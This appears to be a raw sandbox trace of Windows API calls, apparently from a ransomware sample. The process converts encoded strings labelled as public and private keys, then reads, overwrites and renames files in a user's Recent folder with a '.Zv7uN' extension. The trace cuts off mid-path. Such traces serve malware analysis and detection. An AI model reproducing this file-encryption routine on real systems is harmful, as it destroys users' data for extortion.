lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.375] GetCurrentThreadId () returned 0xa30 [0079.375] GetCurrentThreadId () returned 0xa30 [0079.375] GetCurrentThreadId () returned 0xa30 [0079.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.376] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.376] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.376] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf30 [0079.376] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.376] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf30, lpOverlapped=0x0) returned 1 [0079.378] CloseHandle (hObject=0x124) returned 1 [0079.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.380] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf30, lpOverlapped=0x0) returned 1 [0079.382] CloseHandle (hObject=0x124) returned 1 [0079.384] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk.zv7un")) returned 1 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] GetCurrentThreadId () returned 0xa30 [0079.385] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2RLAZi.mkv.lnk", cAlternateFileName="2RLAZI~1.LNK")) returned 1 [0079.386] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.386] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d)) returned 1 [0079.386] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk")) returned 0x20 [0079.386] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk", dwFileAttributes=0x80) returned 1 [0079.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.389] GetCurrentThreadId () returned 0xa30 [0079.389] GetCurrentThreadId () returned 0xa30 [0079.389] GetCurrentThreadId () returned 0xa30 [0079.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.390] GetCurrentThreadId () returned 0xa30 [0079.390] GetCurrentThreadId () returned 0xa30 [0079.390] GetCurrentThreadId () returned 0xa30 [0079.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.391] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.391] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.391] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x22d [0079.391] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.391] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x22d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x22d, lpOverlapped=0x0) returned 1 [0079.394] CloseHandle (hObject=0x124) returned 1 [0079.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.396] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x22d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x22d, lpOverlapped=0x0) returned 1 [0079.397] CloseHandle (hObject=0x124) returned 1 [0079.398] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2rlazi.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2RLAZi.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js 